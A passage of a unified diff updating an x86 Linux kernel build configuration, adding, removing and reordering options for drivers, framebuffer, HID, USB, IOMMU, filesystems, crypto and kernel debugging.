CONFIG_CHARGER_LP8727 is not set # CONFIG_CHARGER_LTC4162L is not set @@ -1778,12 +1866,12 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_BATTERY_UG3105 is not set +# CONFIG_FUEL_GAUGE_MM8013 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set # CONFIG_THERMAL_STATISTICS is not set CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0 -# CONFIG_THERMAL_WRITABLE_TRIPS is not set CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set # CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set @@ -1809,7 +1897,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_INTEL_PCH_THERMAL is not set # CONFIG_INTEL_TCC_COOLING is not set -# CONFIG_INTEL_MENLOW is not set # CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers @@ -1823,10 +1910,12 @@ CONFIG_BCMA_POSSIBLE=y # Multifunction device drivers # # CONFIG_MFD_AS3711 is not set +# CONFIG_MFD_SMPRO is not set # CONFIG_PMIC_ADP5520 is not set # CONFIG_MFD_BCM590XX is not set # CONFIG_MFD_BD9571MWV is not set # CONFIG_MFD_AXP20X_I2C is not set +# CONFIG_MFD_CS42L43_I2C is not set # CONFIG_MFD_MADERA is not set # CONFIG_PMIC_DA903X is not set # CONFIG_MFD_DA9052_I2C is not set @@ -1837,7 +1926,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_DLN2 is not set # CONFIG_MFD_MC13XXX_I2C is not set # CONFIG_MFD_MP2629 is not set -# CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set @@ -1851,6 +1939,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_88PM805 is not set # CONFIG_MFD_88PM860X is not set # CONFIG_MFD_MAX14577 is not set +# CONFIG_MFD_MAX77541 is not set # CONFIG_MFD_MAX77693 is not set # CONFIG_MFD_MAX77843 is not set # CONFIG_MFD_MAX8907 is not set @@ -1874,7 +1963,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1886,6 +1974,7 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set +# CONFIG_MFD_TPS6594_I2C is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1898,6 +1987,7 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set # CONFIG_MFD_ATC260X_I2C is not set +# CONFIG_MFD_CS40L50_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set @@ -1915,35 +2005,18 @@ CONFIG_MFD_SYSCON=y # Graphics support # CONFIG_APERTURE_HELPERS=y +CONFIG_SCREEN_INFO=y +CONFIG_VIDEO=y +# CONFIG_AUXDISPLAY is not set # CONFIG_AGP is not set # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set -# CONFIG_DRM_DEBUG_MODESET_LOCK is not set - -# -# ARM devices -# -# end of ARM devices - CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y # # Frame buffer Devices # -CONFIG_FB_CMDLINE=y -CONFIG_FB_NOTIFY=y CONFIG_FB=y -# CONFIG_FIRMWARE_EDID is not set -CONFIG_FB_CFB_FILLRECT=y -CONFIG_FB_CFB_COPYAREA=y -CONFIG_FB_CFB_IMAGEBLIT=y -# CONFIG_FB_FOREIGN_ENDIAN is not set -# CONFIG_FB_MODE_HELPERS is not set -# CONFIG_FB_TILEBLITTING is not set - -# -# Frame buffer hardware drivers -# # CONFIG_FB_CIRRUS is not set # CONFIG_FB_PM2 is not set # CONFIG_FB_CYBER2000 is not set @@ -1960,7 +2033,6 @@ CONFIG_FB_EFI=y # CONFIG_FB_NVIDIA is not set # CONFIG_FB_RIVA is not set # CONFIG_FB_I740 is not set -# CONFIG_FB_LE80578 is not set # CONFIG_FB_MATROX is not set # CONFIG_FB_RADEON is not set # CONFIG_FB_ATY128 is not set @@ -1985,6 +2057,18 @@ CONFIG_FB_EFI=y # CONFIG_FB_MB862XX is not set # CONFIG_FB_SIMPLE is not set # CONFIG_FB_SM712 is not set +CONFIG_FB_CORE=y +CONFIG_FB_NOTIFY=y +# CONFIG_FIRMWARE_EDID is not set +CONFIG_FB_DEVICE=y +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +CONFIG_FB_IOMEM_FOPS=y +CONFIG_FB_IOMEM_HELPERS=y +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set # end of Frame buffer Devices # @@ -1992,11 +2076,14 @@ CONFIG_FB_EFI=y # # CONFIG_LCD_CLASS_DEVICE is not set CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_KTD2801 is not set +# CONFIG_BACKLIGHT_KTZ8866 is not set # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set # CONFIG_BACKLIGHT_ADP8860 is not set # CONFIG_BACKLIGHT_ADP8870 is not set +# CONFIG_BACKLIGHT_LM3509 is not set # CONFIG_BACKLIGHT_LM3639 is not set # CONFIG_BACKLIGHT_LV5207LP is not set # CONFIG_BACKLIGHT_BD6107 is not set @@ -2021,10 +2108,7 @@ CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # end of Graphics support # CONFIG_SOUND is not set - -# -# HID support -# +CONFIG_HID_SUPPORT=y CONFIG_HID=y # CONFIG_HID_BATTERY_STRENGTH is not set # CONFIG_HIDRAW is not set @@ -2052,11 +2136,13 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_EMS_FF is not set # CONFIG_HID_ELECOM is not set # CONFIG_HID_ELO is not set +# CONFIG_HID_EVISION is not set # CONFIG_HID_EZKEY is not set # CONFIG_HID_GEMBIRD is not set # CONFIG_HID_GFRM is not set # CONFIG_HID_GLORIOUS is not set # CONFIG_HID_HOLTEK is not set +# CONFIG_HID_GOOGLE_STADIA_FF is not set # CONFIG_HID_VIVALDI is not set # CONFIG_HID_KEYTOUCH is not set # CONFIG_HID_KYE is not set @@ -2117,8 +2203,14 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_ZYDACRON is not set # CONFIG_HID_SENSOR_HUB is not set # CONFIG_HID_ALPS is not set +# CONFIG_HID_MCP2221 is not set # end of Special HID drivers +# +# HID-BPF support +# +# end of HID-BPF support + # # USB HID support # @@ -2134,11 +2226,9 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# +CONFIG_I2C_HID=y # CONFIG_I2C_HID_ACPI is not set -# end of I2C HID support +# CONFIG_I2C_HID_OF is not set # # Intel ISH HID support @@ -2151,7 +2241,6 @@ CONFIG_USB_HID=m # # CONFIG_AMD_SFH_HID is not set # end of AMD SFH HID Support -# end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y CONFIG_USB_SUPPORT=y @@ -2160,6 +2249,7 @@ CONFIG_USB_COMMON=y CONFIG_USB_ARCH_HAS_HCD=y CONFIG_USB=y CONFIG_USB_PCI=y +CONFIG_USB_PCI_AMD=y # CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set # @@ -2171,6 +2261,7 @@ CONFIG_USB_DEFAULT_PERSIST=y # CONFIG_USB_OTG_PRODUCTLIST is not set # CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set CONFIG_USB_AUTOSUSPEND_DELAY=2 +CONFIG_USB_DEFAULT_AUTHORIZATION_MODE=1 # CONFIG_USB_MON is not set # @@ -2190,7 +2281,6 @@ CONFIG_USB_EHCI_PCI=m CONFIG_USB_EHCI_HCD_PLATFORM=m # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set -# CONFIG_USB_FOTG210_HCD is not set # CONFIG_USB_OHCI_HCD is not set # CONFIG_USB_UHCI_HCD is not set # CONFIG_USB_SL811_HCD is not set @@ -2235,6 +2325,10 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set + +# +# USB dual-mode controller drivers +# # CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set @@ -2259,9 +2353,9 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_CYPRESS_CY7C63 is not set # CONFIG_USB_CYTHERM is not set # CONFIG_USB_IDMOUSE is not set -# CONFIG_USB_FTDI_ELAN is not set # CONFIG_USB_APPLEDISPLAY is not set # CONFIG_APPLE_MFI_FASTCHARGE is not set +# CONFIG_USB_LJCA is not set # CONFIG_USB_SISUSBVGA is not set # CONFIG_USB_LD is not set # CONFIG_USB_TRANCEVIBRATOR is not set @@ -2324,6 +2418,7 @@ CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_DRV_DS1374 is not set # CONFIG_RTC_DRV_DS1672 is not set # CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_MAX31335 is not set # CONFIG_RTC_DRV_RS5C372 is not set # CONFIG_RTC_DRV_ISL1208 is not set # CONFIG_RTC_DRV_ISL12022 is not set @@ -2338,6 +2433,7 @@ CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_DRV_S35390A is not set # CONFIG_RTC_DRV_FM3130 is not set # CONFIG_RTC_DRV_RX8010 is not set +# CONFIG_RTC_DRV_RX8111 is not set # CONFIG_RTC_DRV_RX8581 is not set # CONFIG_RTC_DRV_RX8025 is not set # CONFIG_RTC_DRV_EM3027 is not set @@ -2374,9 +2470,7 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_RTC_DRV_M48T35 is not set # CONFIG_RTC_DRV_M48T59 is not set # CONFIG_RTC_DRV_MSM6242 is not set -# CONFIG_RTC_DRV_BQ4802 is not set # CONFIG_RTC_DRV_RP5C01 is not set -# CONFIG_RTC_DRV_V3020 is not set # # on-CPU RTC drivers @@ -2400,7 +2494,6 @@ CONFIG_SYNC_FILE=y # CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options -# CONFIG_AUXDISPLAY is not set # CONFIG_UIO is not set # CONFIG_VFIO is not set # CONFIG_VIRT_DRIVERS is not set @@ -2416,15 +2509,16 @@ CONFIG_SYNC_FILE=y # CONFIG_GREYBUS is not set # CONFIG_COMEDI is not set # CONFIG_STAGING is not set +# CONFIG_GOLDFISH is not set # CONFIG_CHROME_PLATFORMS is not set +# CONFIG_CZNIC_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set # CONFIG_SURFACE_PLATFORMS is not set CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACPI_WMI is not set # CONFIG_ACERHDF is not set # CONFIG_ACER_WIRELESS is not set -# CONFIG_AMD_PMF is not set -# CONFIG_AMD_PMC is not set +# CONFIG_AMD_WBRF is not set # CONFIG_ADV_SWBUTTON is not set # CONFIG_APPLE_GMUX is not set # CONFIG_ASUS_LAPTOP is not set @@ -2433,12 +2527,12 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_FUJITSU_LAPTOP is not set # CONFIG_FUJITSU_TABLET is not set # CONFIG_GPD_POCKET_FAN is not set -# CONFIG_HP_ACCEL is not set +# CONFIG_X86_PLATFORM_DRIVERS_HP is not set # CONFIG_WIRELESS_HOTKEY is not set # CONFIG_IBM_RTL is not set # CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_IFS is not set # CONFIG_INTEL_SAR_INT1092 is not set -# CONFIG_INTEL_PMC_CORE is not set # # Intel Speed Select Technology interface support @@ -2459,6 +2553,8 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_SMARTCONNECT is not set # CONFIG_INTEL_TURBO_MAX_3 is not set # CONFIG_INTEL_VSEC is not set +# CONFIG_ACPI_QUICKSTART is not set +# CONFIG_MSI_EC is not set # CONFIG_SAMSUNG_LAPTOP is not set # CONFIG_SAMSUNG_Q10 is not set # CONFIG_TOSHIBA_BT_RFKILL is not set @@ -2472,7 +2568,6 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_SCU_PLATFORM is not set # CONFIG_SIEMENS_SIMATIC_IPC is not set # CONFIG_WINMATE_FM07_KEYS is not set -# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y @@ -2497,7 +2592,6 @@ CONFIG_MAILBOX=y CONFIG_PCC=y # CONFIG_ALTERA_MBOX is not set CONFIG_IOMMU_IOVA=y -CONFIG_IOASID=y CONFIG_IOMMU_API=y CONFIG_IOMMU_SUPPORT=y @@ -2511,6 +2605,7 @@ CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_IOMMU_DMA=y CONFIG_IOMMU_SVA=y +CONFIG_IOMMU_IOPF=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2518,7 +2613,9 @@ CONFIG_INTEL_IOMMU_SVM=y CONFIG_INTEL_IOMMU_DEFAULT_ON=y CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_INTEL_IOMMU_SCALABLE_MODE_DEFAULT_ON is not set -# CONFIG_IRQ_REMAP is not set +CONFIG_INTEL_IOMMU_PERF_EVENTS=y +# CONFIG_IOMMUFD is not set +CONFIG_IRQ_REMAP=y # # Remoteproc drivers @@ -2569,6 +2666,8 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Enable LiteX SoC Builder specific drivers +# CONFIG_WPCM450_SOC is not set + # # Qualcomm SoC drivers # @@ -2582,6 +2681,31 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers +# +# PM Domains +# + +# +# Amlogic PM Domains +# +# end of Amlogic PM Domains + +# +# Broadcom PM Domains +# +# end of Broadcom PM Domains + +# +# i.MX PM Domains +# +# end of i.MX PM Domains + +# +# Qualcomm PM Domains +# +# end of Qualcomm PM Domains +# end of PM Domains + # CONFIG_PM_DEVFREQ is not set # CONFIG_EXTCON is not set # CONFIG_MEMORY is not set @@ -2592,6 +2716,7 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # IRQ chip support # +# CONFIG_LAN966X_OIC is not set # end of IRQ chip support # CONFIG_IPACK_BUS is not set @@ -2621,6 +2746,7 @@ CONFIG_GENERIC_PHY=y # # Performance monitor support # +# CONFIG_DWC_PCIE_PMU is not set # end of Performance monitor support # CONFIG_RAS is not set @@ -2638,6 +2764,7 @@ CONFIG_LIBNVDIMM=y # CONFIG_DAX is not set CONFIG_NVMEM=y # CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_LAYOUTS is not set # CONFIG_NVMEM_RMEM is not set # @@ -2662,6 +2789,8 @@ CONFIG_NVMEM=y CONFIG_DCACHE_WORD_ACCESS=y # CONFIG_VALIDATE_FS_PARSER is not set CONFIG_FS_IOMAP=y +CONFIG_BUFFER_HEAD=y +CONFIG_LEGACY_DIRECT_IO=y # CONFIG_EXT2_FS is not set # CONFIG_EXT3_FS is not set CONFIG_EXT4_FS=y @@ -2679,6 +2808,7 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set +# CONFIG_BCACHEFS_FS is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set @@ -2687,7 +2817,6 @@ CONFIG_FILE_LOCKING=y # CONFIG_INOTIFY_USER is not set # CONFIG_FANOTIFY is not set # CONFIG_QUOTA is not set -# CONFIG_AUTOFS4_FS is not set # CONFIG_AUTOFS_FS is not set # CONFIG_FUSE_FS is not set # CONFIG_OVERLAY_FS is not set @@ -2695,7 +2824,6 @@ CONFIG_FILE_LOCKING=y # # Caches # -# CONFIG_FSCACHE is not set # end of Caches # @@ -2718,8 +2846,8 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" # CONFIG_FAT_DEFAULT_UTF8 is not set CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" -# CONFIG_NTFS_FS is not set # CONFIG_NTFS3_FS is not set +# CONFIG_NTFS_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2735,7 +2863,6 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set -CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # CONFIG_EFIVAR_FS is not set @@ -2807,9 +2934,11 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_PROC_MEM_ALWAYS_FORCE=y +# CONFIG_PROC_MEM_FORCE_PTRACE is not set +# CONFIG_PROC_MEM_NO_FORCE is not set CONFIG_SECURITYFS=y # CONFIG_INTEL_TXT is not set -CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set @@ -2833,6 +2962,13 @@ CONFIG_INIT_STACK_NONE=y # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization +# +# Hardening of kernel data structures +# +# CONFIG_LIST_HARDENED is not set +# CONFIG_BUG_ON_DATA_CORRUPTION is not set +# end of Hardening of kernel data structures + CONFIG_RANDSTRUCT_NONE=y # CONFIG_RANDSTRUCT_FULL is not set # CONFIG_RANDSTRUCT_PERFORMANCE is not set @@ -2848,14 +2984,17 @@ CONFIG_CRYPTO_ALGAPI=y CONFIG_CRYPTO_ALGAPI2=y CONFIG_CRYPTO_AEAD=y CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_SIG2=y CONFIG_CRYPTO_SKCIPHER=y CONFIG_CRYPTO_SKCIPHER2=y CONFIG_CRYPTO_HASH=y CONFIG_CRYPTO_HASH2=y CONFIG_CRYPTO_RNG=y CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_RNG_DEFAULT=y CONFIG_CRYPTO_AKCIPHER2=y CONFIG_CRYPTO_KPP2=y +CONFIG_CRYPTO_KPP=y CONFIG_CRYPTO_ACOMP2=y CONFIG_CRYPTO_MANAGER=y CONFIG_CRYPTO_MANAGER2=y @@ -2875,10 +3014,10 @@ CONFIG_CRYPTO_SIMD=y # # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set -# CONFIG_CRYPTO_ECDH is not set +CONFIG_CRYPTO_ECC=y +CONFIG_CRYPTO_ECDH=y # CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set -# CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set # end of Public-key cryptography @@ -2905,14 +3044,12 @@ CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_ADIANTUM is not set # CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y -# CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y # CONFIG_CRYPTO_HCTR2 is not set # CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set -# CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y # end of Length-preserving ciphers and modes @@ -2944,7 +3081,7 @@ CONFIG_CRYPTO_MD5=y CONFIG_CRYPTO_SHA1=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y -# CONFIG_CRYPTO_SHA3 is not set +CONFIG_CRYPTO_SHA3=y # CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set # CONFIG_CRYPTO_VMAC is not set @@ -2976,8 +3113,15 @@ CONFIG_CRYPTO_CRC32C=y # Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set -# CONFIG_CRYPTO_DRBG_MENU is not set -# CONFIG_CRYPTO_JITTERENTROPY is not set +CONFIG_CRYPTO_DRBG_MENU=y +CONFIG_CRYPTO_DRBG_HMAC=y +# CONFIG_CRYPTO_DRBG_HASH is not set +# CONFIG_CRYPTO_DRBG_CTR is not set +CONFIG_CRYPTO_DRBG=y +CONFIG_CRYPTO_JITTERENTROPY=y +CONFIG_CRYPTO_JITTERENTROPY_MEMORY_BLOCKS=64 +CONFIG_CRYPTO_JITTERENTROPY_MEMORY_BLOCKSIZE=32 +CONFIG_CRYPTO_JITTERENTROPY_OSR=1 # end of Random number generation # @@ -2987,9 +3131,9 @@ CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y CONFIG_CRYPTO_USER_API_RNG=y +# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set -# CONFIG_CRYPTO_STATS is not set # end of Userspace interface CONFIG_CRYPTO_HASH_INFO=y @@ -3015,6 +3159,8 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set # CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set # CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_ARIA_GFNI_AVX512_X86_64 is not set # CONFIG_CRYPTO_CHACHA20_X86_64 is not set # CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set # CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set @@ -3049,7 +3195,6 @@ CONFIG_GENERIC_NET_UTILS=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y -CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y @@ -3060,6 +3205,8 @@ CONFIG_ARCH_USE_SYM_ANNOTATIONS=y # CONFIG_CRYPTO_LIB_UTILS=y CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_AESCFB=y +CONFIG_CRYPTO_LIB_GF128MUL=y CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y # CONFIG_CRYPTO_LIB_CHACHA is not set # CONFIG_CRYPTO_LIB_CURVE25519 is not set @@ -3090,7 +3237,6 @@ CONFIG_LIBCRC32C=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_POWERPC is not set -# CONFIG_XZ_DEC_IA64 is not set # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set @@ -3103,26 +3249,32 @@ CONFIG_REED_SOLOMON=y CONFIG_REED_SOLOMON_DEC8=y CONFIG_INTERVAL_TREE=y CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT=y CONFIG_HAS_IOPORT_MAP=y CONFIG_HAS_DMA=y CONFIG_DMA_OPS=y +CONFIG_NEED_SG_DMA_FLAGS=y CONFIG_NEED_SG_DMA_LENGTH=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y +# CONFIG_SWIOTLB_DYNAMIC is not set +CONFIG_DMA_NEED_SYNC=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y -# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y # CONFIG_GLOB_SELFTEST is not set CONFIG_NLATTR=y # CONFIG_IRQ_POLL is not set +CONFIG_DIMLIB=y CONFIG_UCS2_STRING=y CONFIG_HAVE_GENERIC_VDSO=y CONFIG_GENERIC_GETTIMEOFDAY=y CONFIG_GENERIC_VDSO_TIME_NS=y +CONFIG_GENERIC_VDSO_OVERFLOW_PROTECT=y +CONFIG_VDSO_GETRANDOM=y CONFIG_FONT_SUPPORT=y # CONFIG_FONTS is not set CONFIG_FONT_8x8=y @@ -3130,12 +3282,16 @@ CONFIG_FONT_8x16=y CONFIG_SG_POOL=y CONFIG_ARCH_HAS_PMEM_API=y CONFIG_MEMREGION=y +CONFIG_ARCH_HAS_CPU_CACHE_INVALIDATE_MEMREGION=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y +# CONFIG_LWQ_TEST is not set # end of Library routines +CONFIG_FIRMWARE_TABLE=y + # # Kernel hacking # @@ -3162,7 +3318,7 @@ CONFIG_DEBUG_KERNEL=y # # Compile-time checks and compiler options # -CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_AS_HAS_NON_CONST_ULEB128=y CONFIG_DEBUG_INFO_NONE=y # CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set # CONFIG_DEBUG_INFO_DWARF4 is not set @@ -3189,7 +3345,7 @@ CONFIG_MAGIC_SYSRQ_SERIAL_SEQUENCE="" # CONFIG_DEBUG_FS is not set CONFIG_HAVE_ARCH_KGDB=y # CONFIG_KGDB is not set -CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y +CONFIG_ARCH_HAS_UBSAN=y # CONFIG_UBSAN is not set CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments @@ -3209,15 +3365,15 @@ CONFIG_HAVE_ARCH_KCSAN=y # CONFIG_DEBUG_PAGEALLOC is not set # CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set -# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y -# CONFIG_DEBUG_OBJECTS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_PER_VMA_LOCK_STATS is not set +# CONFIG_DEBUG_OBJECTS is not set # CONFIG_DEBUG_STACK_USAGE is not set # CONFIG_SCHED_STACK_END_CHECK is not set CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y @@ -3229,6 +3385,7 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_PER_CPU_MAPS is not set CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y # CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set +# CONFIG_MEM_ALLOC_PROFILING is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y @@ -3250,21 +3407,26 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set +CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y +CONFIG_HARDLOCKUP_DETECTOR=y +# CONFIG_HARDLOCKUP_DETECTOR_PREFER_BUDDY is not set CONFIG_HARDLOCKUP_DETECTOR_PERF=y +# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set +# CONFIG_HARDLOCKUP_DETECTOR_ARCH is not set +CONFIG_HARDLOCKUP_DETECTOR_COUNTS_HRTIMER=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y -CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set CONFIG_WQ_WATCHDOG=y +# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs # # Scheduler Debugging # -# CONFIG_SCHED_DEBUG is not set # CONFIG_SCHEDSTATS is not set # end of Scheduler Debugging @@ -3290,6 +3452,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# 